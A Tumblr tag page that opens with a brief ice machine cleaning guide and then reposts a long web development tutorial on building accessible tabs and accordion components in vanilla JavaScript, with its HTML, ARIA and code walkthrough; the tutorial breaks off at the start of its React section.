#Document Queryselector Head
Explore tagged Tumblr posts
crystalcleanice · 2 years ago
Text
Ice Machine Cleaner in Shamokin - Crystal Cleanice
How do you clean ice machines?
Cleaning an ice machine is crucial to maintain its efficiency and ensure the ice it produces is safe for consumption. Here’s a general guide:
Tumblr media
Regular Cleaning:
Preparation: Turn off the ice machine and unplug it from the power source.
Empty Ice Bin: Remove all the ice from the machine and discard it.
Sanitize Surfaces: Use a mild detergent and warm water to clean the interior and exterior surfaces of the machine. Use a soft cloth or sponge to wipe down these areas thoroughly.
Rinse: After cleaning, rinse the surfaces with clean water to remove any soap residue.
Sanitize with Approved Solution: Use a sanitizer approved for ice machines. Follow the manufacturer’s instructions carefully. This step helps eliminate bacteria and prevents contamination of the ice.
Deep Cleaning:
Prepare Cleaning Solution: Follow the manufacturer’s guidelines to create a cleaning solution using a specialized ice machine cleaner or a mixture of water and a recommended descaler.
Run Cleaning Cycle: Pour the cleaning solution into the machine and run a cleaning cycle as per the manufacturer's instructions. This process helps remove mineral buildup and disinfect the internal components.
Rinse Thoroughly: After the cleaning cycle, rinse the machine thoroughly with clean water to remove any residue from the cleaning solution.
Sanitize: Use a sanitizer approved for ice machines and follow the manufacturer's instructions to sanitize the machine after the cleaning process. This step is crucial to ensure the ice produced is safe for consumption.
Maintenance Tips:
Regularly inspect and clean the ice machine’s air filters, condenser coils, and water filters as per the manufacturer's recommendations.
Follow a routine maintenance schedule provided in the user manual to prevent mineral buildup and bacterial growth.
Keep the area around the ice machine clean to prevent contamination.
Always refer to the specific instructions provided by the manufacturer for your ice machine model, as different machines may have slightly different cleaning procedures.
1 note · View note
suzanneshannon · 5 years ago
Text
The Anatomy of a Tablist Component in Vanilla JavaScript Versus React
If you follow the undercurrent of the JavaScript community, there seems to be a divide as of late. It goes back over a decade. Really, this sort of strife has always been. Perhaps it is human nature.
Whenever a popular framework gains traction, you inevitably see people comparing it to rivals. I suppose that is to be expected. Everyone has a particular favorite.
Lately, the framework everyone loves (to hate?) is React. You often see it pitted against others in head-to-head blog posts and feature comparison matrices of enterprise whitepapers. Yet a few years ago, it seemed like jQuery would forever be king of the hill.
Frameworks come and go. To me, what is more interesting is when React — or any JS framework for that matter — gets pitted against the programming language itself. Because of course, under the hood, it is all built atop JS.
The two are not inherently at odds. I would even go so far as to say that if you do not have a good handle on JS fundamentals, you probably are not going to reap the full benefits of using React. It can still be helpful, similar to using a jQuery plugin without understanding its internals. But I feel like React presupposes more JS familiarity.
HTML is equally important. There exists a fair bit of FUD around how React affects accessibility. I think this narrative is inaccurate. In fact, the ESLint JSX a11y plugin will warn of possible accessibility violations in the console.
Tumblr media
ESLint warnings about empty <a> tags
Recently, an annual study of the top 1 million sites was released. It shows that for sites using JS frameworks, there is an increased likelihood of accessibility problems. This is correlation, not causation.
This does not necessarily mean that the frameworks caused these errors, but it does indicate that home pages with these frameworks had more errors than on average.
In a manner of speaking, React’s magic incantations work regardless of whether you recognize the words. Ultimately, you are still responsible for the outcome.
Philosophical musings aside, I am a firm believer in choosing the best tool for the job. Sometimes, that means building a single page app with a Jamstack approach. Or maybe a particular project is better suited to offloading HTML rendering to the server, where it has historically been handled.
Either way, there inevitably comes the need for JS to augment the user experience. At Reaktiv Studios, to that end I have been attempting to keep most of our React components in sync with our “flat HTML” approach. I have been writing commonly used functionality in vanilla JS as well. This keeps our options open, so that our clients are free to choose. It also allows us to reuse the same CSS.
If I may, I would like to share how I built our <Tabs> and <Accordion> React components. I will also demonstrate how I wrote the same functionality without using a framework.
Hopefully, this lesson will feel like we are making a layered cake. Let us first start with the base markup, then cover the vanilla JS, and finish with how it works in React.
Table of contents
Flat HTML examples
Vanilla JavaScript examples
React examples
Conclusion
For reference, you can tinker with our live examples:
Live demo of Accordion
Live demo of Tabs
Tumblr media
Reaktiv Studios UI components
Flat HTML examples
Since we need JavaScript to make interactive widgets either way, I figured the easiest approach — from a server side implementation standpoint — would be to require only the bare minimum HTML. The rest can be augmented with JS.
The following are examples of markup for tabs and accordion components, showing a before/after comparison of how JS affects the DOM.
I have added id="TABS_ID" and id="ACCORDION_ID" for demonstrative purposes. This is to make it more obvious what is happening. But the JS that I will be explaining automatically generates unique IDs if nothing is supplied in the HTML. It would work fine either way, with or without an id specified.
Tabs (without ARIA)
<div class="tabs" id="TABS_ID"> <ul class="tabs__list"> <li class="tabs__item"> Tab 1 </li> <!-- .tabs__item --> <li class="tabs__item"> Tab 2 </li> <!-- .tabs__item --> <li class="tabs__item" disabled> Tab 3 (disabled) </li> <!-- .tabs__item --> </ul> <!-- .tabs__list --> <div class="tabs__panel"> <p> Tab 1 content </p> </div> <!-- .tabs__panel --> <div class="tabs__panel"> <p> Tab 2 content </p> </div> <!-- .tabs__panel --> <div class="tabs__panel"> <p> NOTE: This tab is disabled. </p> </div> <!-- .tabs__panel --> </div> <!-- .tabs -->
Tabs (with ARIA)
<div class="tabs" id="TABS_ID"> <ul class="tabs__list" role="tablist"> <li aria-controls="tabpanel_TABS_ID_0" aria-selected="false" class="tabs__item" id="tab_TABS_ID_0" role="tab" tabindex="0" > Tab 1 </li> <!-- .tabs__item --> <li aria-controls="tabpanel_TABS_ID_1" aria-selected="true" class="tabs__item" id="tab_TABS_ID_1" role="tab" tabindex="0" > Tab 2 </li> <!-- .tabs__item --> <li aria-controls="tabpanel_TABS_ID_2" aria-disabled="true" aria-selected="false" class="tabs__item" disabled id="tab_TABS_ID_2" role="tab" > Tab 3 (disabled) </li> <!-- .tabs__item --> </ul> <!-- .tabs__list --> <div aria-hidden="true" aria-labelledby="tab_TABS_ID_0" class="tabs__panel" id="tabpanel_TABS_ID_0" role="tabpanel" > <p> Tab 1 content </p> </div> <!-- .tabs__panel --> <div aria-hidden="false" aria-labelledby="tab_TABS_ID_1" class="tabs__panel" id="tabpanel_TABS_ID_1" role="tabpanel" > <p> Tab 2 content </p> </div> <!-- .tabs__panel --> <div aria-hidden="true" aria-labelledby="tab_TABS_ID_2" class="tabs__panel" id="tabpanel_TABS_ID_2" role="tabpanel" > <p> NOTE: This tab is disabled. </p> </div> <!-- .tabs__panel --> </div> <!-- .tabs -->
Accordion (without ARIA)
<div class="accordion" id="ACCORDION_ID"> <div class="accordion__item"> Tab 1 </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> Tab 1 content </p> </div> <!-- .accordion__panel --> <div class="accordion__item"> Tab 2 </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> Tab 2 content </p> </div> <!-- .accordion__panel --> <div class="accordion__item" disabled> Tab 3 (disabled) </div> <!-- .accordion__item --> <div class="accordion__panel"> <p> NOTE: This tab is disabled. </p> </div> <!-- .accordion__panel --> </div> <!-- .accordion -->
Accordion (with ARIA)
<div aria-multiselectable="true" class="accordion" id="ACCORDION_ID" role="tablist" > <div aria-controls="tabpanel_ACCORDION_ID_0" aria-selected="true" class="accordion__item" id="tab_ACCORDION_ID_0" role="tab" tabindex="0" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 1 </div> <!-- .accordion__item --> <div aria-hidden="false" aria-labelledby="tab_ACCORDION_ID_0" class="accordion__panel" id="tabpanel_ACCORDION_ID_0" role="tabpanel" > <p> Tab 1 content </p> </div> <!-- .accordion__panel --> <div aria-controls="tabpanel_ACCORDION_ID_1" aria-selected="false" class="accordion__item" id="tab_ACCORDION_ID_1" role="tab" tabindex="0" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 2 </div> <!-- .accordion__item --> <div aria-hidden="true" aria-labelledby="tab_ACCORDION_ID_1" class="accordion__panel" id="tabpanel_ACCORDION_ID_1" role="tabpanel" > <p> Tab 2 content </p> </div> <!-- .accordion__panel --> <div aria-controls="tabpanel_ACCORDION_ID_2" aria-disabled="true" aria-selected="false" class="accordion__item" disabled id="tab_ACCORDION_ID_2" role="tab" > <i aria-hidden="true" class="accordion__item__icon"></i> Tab 3 (disabled) </div> <!-- .accordion__item --> <div aria-hidden="true" aria-labelledby="tab_ACCORDION_ID_2" class="accordion__panel" id="tabpanel_ACCORDION_ID_2" role="tabpanel" > <p> NOTE: This tab is disabled. </p> </div> <!-- .accordion__panel --> </div> <!-- .accordion -->
Vanilla JavaScript examples
Okay. Now that we have seen the aforementioned HTML examples, let us walk through how we get from before to after.
First, I want to cover a few helper functions. These will make more sense in a bit. I figure it is best to get them documented first, so we can stay focused on the rest of the code once we dive in further.
File: getDomFallback.js
This function provides common DOM properties and methods as no-op, rather than having to make lots of typeof foo.getAttribute checks and whatnot. We could forego those types of confirmations altogether.
Since live HTML changes can be a potentially volatile environment, I always feel a bit safer making sure my JS is not bombing out and taking the rest of the page with it. Here is what that function looks like. It simply returns an object with the DOM equivalents of falsy results.
/* Helper to mock DOM methods, for when an element might not exist. */ const getDomFallback = () => { return { // Props. children: [], className: '', classList: { contains: () => false, }, id: '', innerHTML: '', name: '', nextSibling: null, previousSibling: null, outerHTML: '', tagName: '', textContent: '', // Methods. appendChild: () => Object.create(null), cloneNode: () => Object.create(null), closest: () => null, createElement: () => Object.create(null), getAttribute: () => null, hasAttribute: () => false, insertAdjacentElement: () => Object.create(null), insertBefore: () => Object.create(null), querySelector: () => null, querySelectorAll: () => [], removeAttribute: () => undefined, removeChild: () => Object.create(null), replaceChild: () => Object.create(null), setAttribute: () => undefined, }; }; // Export. export { getDomFallback };
File: unique.js
This function is a poor man’s UUID equivalent.
It generates a unique string that can be used to associate DOM elements with one another. It is handy, because then the author of an HTML page does not have to ensure that every tabs and accordion component have unique IDs. In the previous HTML examples, this is where TABS_ID and ACCORDION_ID would typically contain the randomly generated numeric strings instead.
// ========== // Constants. // ========== const BEFORE = '0.'; const AFTER = ''; // ================== // Get unique string. // ================== const unique = () => { // Get prefix. let prefix = Math.random(); prefix = String(prefix); prefix = prefix.replace(BEFORE, AFTER); // Get suffix. let suffix = Math.random(); suffix = String(suffix); suffix = suffix.replace(BEFORE, AFTER); // Expose string. return `${prefix}_${suffix}`; }; // Export. export { unique };
On larger JavaScript projects, I would typically use npm install uuid. But since we are keeping this simple and do not require cryptographic parity, concatenating two lightly edited Math.random() numbers will suffice for our string uniqueness needs.
File: tablist.js
This file does the bulk of the work. What is cool about it, if I do say so myself, is that there are enough similarities between a tabs component and an accordion that we can handle both with the same *.js file. Go ahead and scroll through the entirety, and then we will break down what each function does individually.
// Helpers. import { getDomFallback } from './getDomFallback'; import { unique } from './unique'; // ========== // Constants. // ========== // Boolean strings. const TRUE = 'true'; const FALSE = 'false'; // ARIA strings. const ARIA_CONTROLS = 'aria-controls'; const ARIA_DISABLED = 'aria-disabled'; const ARIA_LABELLEDBY = 'aria-labelledby'; const ARIA_HIDDEN = 'aria-hidden'; const ARIA_MULTISELECTABLE = 'aria-multiselectable'; const ARIA_SELECTED = 'aria-selected'; // Attribute strings. const DISABLED = 'disabled'; const ID = 'id'; const ROLE = 'role'; const TABLIST = 'tablist'; const TABINDEX = 'tabindex'; // Event strings. const CLICK = 'click'; const KEYDOWN = 'keydown'; // Key strings. const ENTER = 'enter'; const FUNCTION = 'function'; // Tag strings. const LI = 'li'; // Selector strings. const ACCORDION_ITEM_ICON = 'accordion__item__icon'; const ACCORDION_ITEM_ICON_SELECTOR = `.${ACCORDION_ITEM_ICON}`; const TAB = 'tab'; const TAB_SELECTOR = `[${ROLE}=${TAB}]`; const TABPANEL = 'tabpanel'; const TABPANEL_SELECTOR = `[${ROLE}=${TABPANEL}]`; const ACCORDION = 'accordion'; const TABLIST_CLASS_SELECTOR = '.accordion, .tabs'; const TAB_CLASS_SELECTOR = '.accordion__item, .tabs__item'; const TABPANEL_CLASS_SELECTOR = '.accordion__panel, .tabs__panel'; // =========== // Get tab ID. // =========== const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; }; // ============= // Get panel ID. // ============= const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; }; // ============== // Click handler. // ============== const globalClick = (event = {}) => { // Get target. const { key = '', target = getDomFallback() } = event; // Get parent. const { parentNode = getDomFallback(), tagName = '' } = target; // Set later. let wrapper = getDomFallback(); /* ===== NOTE: ===== We test for this, because the method does not exist on `document.documentElement`. */ if (typeof target.closest === FUNCTION) { // Get wrapper. wrapper = target.closest(TABLIST_CLASS_SELECTOR) || getDomFallback(); } // Is `<li>`? const isListItem = tagName.toLowerCase() === LI; // Is multi? const isMulti = wrapper.getAttribute(ARIA_MULTISELECTABLE) === TRUE; // Valid key? const isValidKey = !key || key.toLowerCase() === ENTER; // Valid target? const isValidTarget = !target.hasAttribute(DISABLED) && target.getAttribute(ROLE) === TAB && parentNode.getAttribute(ROLE) === TABLIST; // Valid event? const isValidEvent = isValidKey && isValidTarget; // Continue? if (isValidEvent) { // Get panel. const panelId = target.getAttribute(ARIA_CONTROLS); const panel = wrapper.querySelector(`#${panelId}`) || getDomFallback(); // Get booleans. let boolPanel = panel.getAttribute(ARIA_HIDDEN) !== TRUE; let boolTab = target.getAttribute(ARIA_SELECTED) !== TRUE; // List item? if (isListItem) { boolPanel = FALSE; boolTab = TRUE; } // [aria-multiselectable="false"] if (!isMulti) { // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_SELECTOR); // Loop through tabs. childTabs.forEach((tab = getDomFallback()) => { tab.setAttribute(ARIA_SELECTED, FALSE); }); // Loop through panels. childPanels.forEach((panel = getDomFallback()) => { panel.setAttribute(ARIA_HIDDEN, TRUE); }); } // Set individual tab. target.setAttribute(ARIA_SELECTED, boolTab); // Set individual panel. panel.setAttribute(ARIA_HIDDEN, boolPanel); } }; // ==================== // Add ARIA attributes. // ==================== const addAriaAttributes = () => { // Get elements. const allWrappers = document.querySelectorAll(TABLIST_CLASS_SELECTOR); // Loop through. allWrappers.forEach((wrapper = getDomFallback()) => { // Get attributes. const { id = '', classList } = wrapper; const parentId = id || unique(); // Is accordion? const isAccordion = classList.contains(ACCORDION); // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_CLASS_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_CLASS_SELECTOR); // Add ID? if (!wrapper.getAttribute(ID)) { wrapper.setAttribute(ID, parentId); } // Add multi? if (isAccordion && wrapper.getAttribute(ARIA_MULTISELECTABLE) !== FALSE) { wrapper.setAttribute(ARIA_MULTISELECTABLE, TRUE); } // =========================== // Loop through tabs & panels. // =========================== for (let index = 0; index < childTabs.length; index++) { // Get elements. const tab = childTabs[index] || getDomFallback(); const panel = childPanels[index] || getDomFallback(); // Get IDs. const tabId = getTabId(parentId, index); const panelId = getPanelId(parentId, index); // =================== // Add tab attributes. // =================== // Tab: add icon? if (isAccordion) { // Get icon. let icon = tab.querySelector(ACCORDION_ITEM_ICON_SELECTOR); // Create icon? if (!icon) { icon = document.createElement(I); icon.className = ACCORDION_ITEM_ICON; tab.insertAdjacentElement(AFTER_BEGIN, icon); } // [aria-hidden="true"] icon.setAttribute(ARIA_HIDDEN, TRUE); } // Tab: add id? if (!tab.getAttribute(ID)) { tab.setAttribute(ID, tabId); } // Tab: add controls? if (!tab.getAttribute(ARIA_CONTROLS)) { tab.setAttribute(ARIA_CONTROLS, panelId); } // Tab: add selected? if (!tab.getAttribute(ARIA_SELECTED)) { const bool = !isAccordion && index === 0; tab.setAttribute(ARIA_SELECTED, bool); } // Tab: add role? if (tab.getAttribute(ROLE) !== TAB) { tab.setAttribute(ROLE, TAB); } // Tab: add tabindex? if (tab.hasAttribute(DISABLED)) { tab.removeAttribute(TABINDEX); tab.setAttribute(ARIA_DISABLED, TRUE); } else { tab.setAttribute(TABINDEX, 0); } // Tab: first item? if (index === 0) { // Get parent. const { parentNode = getDomFallback() } = tab; /* We do this here, instead of outside the loop. The top level item isn't always the `tablist`. The accordion UI only has `<dl>`, whereas the tabs UI has both `<div>` and `<ul>`. */ if (parentNode.getAttribute(ROLE) !== TABLIST) { parentNode.setAttribute(ROLE, TABLIST); } } // ===================== // Add panel attributes. // ===================== // Panel: add ID? if (!panel.getAttribute(ID)) { panel.setAttribute(ID, panelId); } // Panel: add hidden? if (!panel.getAttribute(ARIA_HIDDEN)) { const bool = isAccordion || index !== 0; panel.setAttribute(ARIA_HIDDEN, bool); } // Panel: add labelled? if (!panel.getAttribute(ARIA_LABELLEDBY)) { panel.setAttribute(ARIA_LABELLEDBY, tabId); } // Panel: add role? if (panel.getAttribute(ROLE) !== TABPANEL) { panel.setAttribute(ROLE, TABPANEL); } } }); }; // ===================== // Remove global events. // ===================== const unbind = () => { document.removeEventListener(CLICK, globalClick); document.removeEventListener(KEYDOWN, globalClick); }; // ================== // Add global events. // ================== const init = () => { // Add attributes. addAriaAttributes(); // Prevent doubles. unbind(); document.addEventListener(CLICK, globalClick); document.addEventListener(KEYDOWN, globalClick); }; // ============== // Bundle object. // ============== const tablist = { init, unbind, }; // ======= // Export. // ======= export { tablist };
Function: getTabId and getPanelId
These two functions are used to create individually unique IDs for elements in a loop, based on an existing (or generated) parent ID. This is helpful to ensure matching values for attributes like aria-controls="…" and aria-labelledby="…". Think of those as the accessibility equivalents of <label for="…">, telling the browser which elements are related to one another.
const getTabId = (id = '', index = 0) => { return `tab_${id}_${index}`; };
const getPanelId = (id = '', index = 0) => { return `tabpanel_${id}_${index}`; };
Function: globalClick
This is a click handler that is applied at the document level. That means we are not having to manually add click handlers to a number of elements. Instead, we use event bubbling to listen for clicks further down in the document, and allow them to propagate up to the top. Conveniently, this is also how we can handle keyboard events such as the Enter key being pressed. Both are necessary to have an accessible UI.
In the first part of the function, we destructure key and target from the incoming event. Next, we destructure the parentNode and tagName from the target.
Then, we attempt to get the wrapper element. This would be the one with either class="tabs" or class="accordion". Because we might actually be clicking on the ancestor element highest in the DOM tree — which exists but possibly does not have the *.closest(…) method — we do a typeof check. If that function exists, we attempt to get the element. Even still, we might come up without a match. So we have one more getDomFallback to be safe.
// Get target. const { key = '', target = getDomFallback() } = event; // Get parent. const { parentNode = getDomFallback(), tagName = '' } = target; // Set later. let wrapper = getDomFallback(); /* ===== NOTE: ===== We test for this, because the method does not exist on `document.documentElement`. */ if (typeof target.closest === FUNCTION) { // Get wrapper. wrapper = target.closest(TABLIST_CLASS_SELECTOR) || getDomFallback(); }
Then, we store whether or not the tag that was clicked is a <li>. Likewise, we store a boolean about whether the wrapper element has aria-multiselectable="true". I will get back to that. We need this info later on.
We also interrogate the event a bit, to determine if it was triggered by the user pressing a key. If so, then we are only interested if that key was Enter. We also determine if the click happened on a relevant target. Remember, we are using event bubbling so really the user could have clicked anything.
We want to make sure it:
Is not disabled
Has role="tab"
Has a parent element with role="tablist"
Then we bundle up our event and target booleans into one, as isValidEvent.
// Is `<li>`? const isListItem = tagName.toLowerCase() === LI; // Is multi? const isMulti = wrapper.getAttribute(ARIA_MULTISELECTABLE) === TRUE; // Valid key? const isValidKey = !key || key.toLowerCase() === ENTER; // Valid target? const isValidTarget = !target.hasAttribute(DISABLED) && target.getAttribute(ROLE) === TAB && parentNode.getAttribute(ROLE) === TABLIST; // Valid event? const isValidEvent = isValidKey && isValidTarget;
Assuming the event is indeed valid, we make it past our next if check. Now, we are concerned with getting the role="tabpanel" element with an id that matches our tab’s aria-controls="…".
Once we have got it, we check whether the panel is hidden, and if the tab is selected. Basically, we first presuppose that we are dealing with an accordion and flip the booleans to their opposites.
This is also where our earlier isListItem boolean comes into play. If the user is clicking an <li> then we know we are dealing with tabs, not an accordion. In which case, we want to flag our panel as being visible (via aria-hiddden="false") and our tab as being selected (via aria-selected="true").
Also, we want to ensure that either the wrapper has aria-multiselectable="false" or is completely missing aria-multiselectable. If that is the case, then we loop through all neighboring role="tab" and all role="tabpanel" elements and set them to their inactive states. Finally, we arrive at setting the previously determined booleans for the individual tab and panel pairing.
// Continue? if (isValidEvent) { // Get panel. const panelId = target.getAttribute(ARIA_CONTROLS); const panel = wrapper.querySelector(`#${panelId}`) || getDomFallback(); // Get booleans. let boolPanel = panel.getAttribute(ARIA_HIDDEN) !== TRUE; let boolTab = target.getAttribute(ARIA_SELECTED) !== TRUE; // List item? if (isListItem) { boolPanel = FALSE; boolTab = TRUE; } // [aria-multiselectable="false"] if (!isMulti) { // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_SELECTOR); // Loop through tabs. childTabs.forEach((tab = getDomFallback()) => { tab.setAttribute(ARIA_SELECTED, FALSE); }); // Loop through panels. childPanels.forEach((panel = getDomFallback()) => { panel.setAttribute(ARIA_HIDDEN, TRUE); }); } // Set individual tab. target.setAttribute(ARIA_SELECTED, boolTab); // Set individual panel. panel.setAttribute(ARIA_HIDDEN, boolPanel); }
Function: addAriaAttributes
The astute reader might be thinking:
You said earlier that we start with the most bare possible markup, yet the globalClick function was looking for attributes that would not be there. Why would you lie!?
Or perhaps not, for the astute reader would have also noticed the function named addAriaAttributes. Indeed, this function does exactly what it says on the tin. It breathes life into the base DOM structure, by adding all the requisite aria-* and role attributes.
This not only makes the UI inherently more accessible to assistive technologies, but it also ensures the functionality actually works. I prefer to build vanilla JS things this way, rather than pivoting on class="…" for interactivity, because it forces me to think about the entirety of the user experience, beyond what I can see visually.
First off, we get all elements on the page that have class="tabs" and/or class="accordion". Then we check if we have something to work with. If not, then we would exit our function here. Assuming we do have a list, we loop through each of the wrapping elements and pass them into the scope of our function as wrapper.
// Get elements. const allWrappers = document.querySelectorAll(TABLIST_CLASS_SELECTOR); // Loop through. allWrappers.forEach((wrapper = getDomFallback()) => { /* NOTE: Cut, for brevity. */ });
Inside the scope of our looping function, we destructure id and classList from wrapper. If there is no ID, then we generate one via unique(). We set a boolean flag, to identify if we are working with an accordion. This is used later.
We also get decendants of wrapper that are tabs and panels, via their class name selectors.
Tabs:
class="tabs__item" or
class="accordion__item"
Panels:
class="tabs__panel" or
class="accordion__panel"
We then set the wrapper’s id if it does not already have one.
If we are dealing with an accordion that lacks aria-multiselectable="false", we set its flag to true. Reason being, if developers are reaching for an accordion UI paradigm — and also have tabs available to them, which are inherently mutually exclusive — then the safer assumption is that the accordion should support expanding and collapsing of several panels.
// Get attributes. const { id = '', classList } = wrapper; const parentId = id || unique(); // Is accordion? const isAccordion = classList.contains(ACCORDION); // Get tabs & panels. const childTabs = wrapper.querySelectorAll(TAB_CLASS_SELECTOR); const childPanels = wrapper.querySelectorAll(TABPANEL_CLASS_SELECTOR); // Add ID? if (!wrapper.getAttribute(ID)) { wrapper.setAttribute(ID, parentId); } // Add multi? if (isAccordion && wrapper.getAttribute(ARIA_MULTISELECTABLE) !== FALSE) { wrapper.setAttribute(ARIA_MULTISELECTABLE, TRUE); }
Next, we loop through tabs. Wherein, we also handle our panels.
You may be wondering why this is an old school for loop, instead of a more modern *.forEach. The reason is that we want to loop through two NodeList instances: tabs and panels. Assuming they each map 1-to-1 we know they both have the same *.length. This allows us to have one loop instead of two.
Let us peer inside of the loop. First, we get unique IDs for each tab and panel. These would look like one of the two following scenarios. These are used later on, to associate tabs with panels and vice versa.
tab_WRAPPER_ID_0 or tab_GENERATED_STRING_0
tabpanel_WRAPPER_ID_0 or tabpanel_GENERATED_STRING_0
for (let index = 0; index < childTabs.length; index++) { // Get elements. const tab = childTabs[index] || getDomFallback(); const panel = childPanels[index] || getDomFallback(); // Get IDs. const tabId = getTabId(parentId, index); const panelId = getPanelId(parentId, index); /* NOTE: Cut, for brevity. */ }
As we loop through, we first ensure that an expand/collapse icon exists. We create it if necessary, and set it to aria-hidden="true" since it is purely decorative.
Next, we check on attributes for the current tab. If an id="…" does not exist on the tab, we add it. Likewise, if aria-controls="…" does not exist we add that as well, pointing to our newly created panelId.
You will notice there is a little pivot here, checking if we do not have aria-selected and then further determining if we are not in the context of an accordion and if the index is 0. In that case, we want to make our first tab look selected. The reason is that though an accordion can be fully collapsed, tabbed content cannot. There is always at least one panel visible.
Then we ensure that role="tab" exists.
It is worth noting we do some extra work, based on whether the tab is disabled. If so, we remove tabindex so that the tab cannot receive :focus. If the tab is not disabled, we add tabindex="0" so that it can receive :focus.
We also set aria-disabled="true", if need be. You might be wondering if that is redundant. But it is necessary to inform assistive technologies that the tab is not interactive. Since our tab is either a <div> or <li>, it technically cannot be disabled like an <input>. Our styles pivot on [disabled], so we get that for free. Plus, it is less cognitive overhead (as a developer creating HTML) to only worry about one attribute.
ℹ️ Fun Fact: It is also worth noting the use of hasAttribute(…) to detect disabled, instead of getAttribute(…). This is because the mere presence of disabled will cause form elements to be disabled.
If the HTML is compiled, via tools such as Parcel…
Markup like this: <tag disabled>
Is changed to this: <tag disabled="">
In which case, getting the attribute is still a falsy string.
In the days of XHTML, that would have been disabled="disabled". But really, it was only ever the existence of the attribute that mattered. Not its value. That is why we simply test if the element has the disabled attribute.
Lastly, we check if we are on the first iteration of our loop where index is 0. If so, we go up one level to the parentNode. If that element does not have role="tablist", then we add it.
We do this via parentNode instead of wrapper because in the context of tabs (not accordion) there is a <ul>element around the tab <li> that needs role="tablist". In the case of an accordion, it would be the outermost <div> ancestor. This code accounts for both.
// Tab: add icon? if (isAccordion) { // Get icon. let icon = tab.querySelector(ACCORDION_ITEM_ICON_SELECTOR); // Create icon? if (!icon) { icon = document.createElement(I); icon.className = ACCORDION_ITEM_ICON; tab.insertAdjacentElement(AFTER_BEGIN, icon); } // [aria-hidden="true"] icon.setAttribute(ARIA_HIDDEN, TRUE); } // Tab: add id? if (!tab.getAttribute(ID)) { tab.setAttribute(ID, tabId); } // Tab: add controls? if (!tab.getAttribute(ARIA_CONTROLS)) { tab.setAttribute(ARIA_CONTROLS, panelId); } // Tab: add selected? if (!tab.getAttribute(ARIA_SELECTED)) { const bool = !isAccordion && index === 0; tab.setAttribute(ARIA_SELECTED, bool); } // Tab: add role? if (tab.getAttribute(ROLE) !== TAB) { tab.setAttribute(ROLE, TAB); } // Tab: add tabindex? if (tab.hasAttribute(DISABLED)) { tab.removeAttribute(TABINDEX); tab.setAttribute(ARIA_DISABLED, TRUE); } else { tab.setAttribute(TABINDEX, 0); } // Tab: first item? if (index === 0) { // Get parent. const { parentNode = getDomFallback() } = tab; /* We do this here, instead of outside the loop. The top level item isn't always the `tablist`. The accordion UI only has `<dl>`, whereas the tabs UI has both `<div>` and `<ul>`. */ if (parentNode.getAttribute(ROLE) !== TABLIST) { parentNode.setAttribute(ROLE, TABLIST); } }
Continuing within the earlier for loop, we add attributes for each panel. We add an id if needed. We also set aria-hidden to either true or false depending on the context of being an accordion (or not).
Likewise, we ensure that our panel points back to its tab trigger via aria-labelledby="…", and that role="tabpanel" has been set.
// Panel: add ID? if (!panel.getAttribute(ID)) { panel.setAttribute(ID, panelId); } // Panel: add hidden? if (!panel.getAttribute(ARIA_HIDDEN)) { const bool = isAccordion || index !== 0; panel.setAttribute(ARIA_HIDDEN, bool); } // Panel: add labelled? if (!panel.getAttribute(ARIA_LABELLEDBY)) { panel.setAttribute(ARIA_LABELLEDBY, tabId); } // Panel: add role? if (panel.getAttribute(ROLE) !== TABPANEL) { panel.setAttribute(ROLE, TABPANEL); }
At the very end of the file, we have a few setup and teardown functions. As a way to play nicely with other JS that might be in the page, we provide an unbind function that removes our global event listeners. It can be called by itself, via tablist.unbind() but is mostly there so that we can unbind() before (re-)binding. That way we prevent doubling up.
Inside our init function, we call addAriaAttributes() which modifies the DOM to be accessible. We then call unbind() and then add our event listeners to the document.
Finally, we bundle both methods into a parent object and export it under the name tablist. That way, when dropping it into a flat HTML page, we can call tablist.init() when we are ready to apply our functionality.
// ===================== // Remove global events. // ===================== const unbind = () => { document.removeEventListener(CLICK, globalClick); document.removeEventListener(KEYDOWN, globalClick); }; // ================== // Add global events. // ================== const init = () => { // Add attributes. addAriaAttributes(); // Prevent doubles. unbind(); document.addEventListener(CLICK, globalClick); document.addEventListener(KEYDOWN, globalClick); }; // ============== // Bundle object. // ============== const tablist = { init, unbind, }; // ======= // Export. // ======= export { tablist };
React examples
There is a scene in Batman Begins where Lucius Fox (played by Morgan Freeman) explains to a recovering Bruce Wayne (Christian Bale) the scientific steps he took to save his life after being poisoned.
Lucius Fox: “I analyzed your blood, isolating the receptor compounds and the protein-based catalyst.”
Bruce Wayne: “Am I meant to understand any of that?”
Lucius Fox: “Not at all, I just wanted you to know how hard it was. Bottom line, I synthesized an antidote.”
Tumblr media
“How do I configure Webpack?”
↑ When working with a framework, I think in those terms.
Now that we know “hard” it is — not really, but humor me — to do raw DOM manipulation and event binding, we can better appreciate the existence of an antidote. React abstracts a lot of that complexity away, and handles it for us automatically.
File: Tabs.js
Now that we are diving into React examples, we will start with the <Tabs> component.
// ============= // Used like so… // ============= <Tabs> <div label="Tab 1"> <p> Tab 1 content </p> </div> <div label="Tab 2"> <p> Tab 2 content </p> </div> </Tabs>
Here is the content from our Tabs.js file. Note that in React parlance, it is standard practice to name the file with the same capitalization as its export default component.
We start out with the same getTabId and getPanelId functions as in our vanilla JS approach, because we still need to make sure to accessibly map tabs to components. Take a look at the entirey of the code, and then we will continue to break it down.
